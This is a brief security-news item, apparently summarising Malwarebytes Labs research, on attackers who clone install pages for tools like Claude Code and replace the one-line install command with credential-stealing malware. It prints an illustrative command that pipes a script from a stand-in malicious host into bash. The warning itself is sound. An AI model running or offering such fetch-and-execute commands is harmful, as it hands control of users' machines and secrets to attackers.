Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator. Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to.
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Source: Malwarebytes Labs
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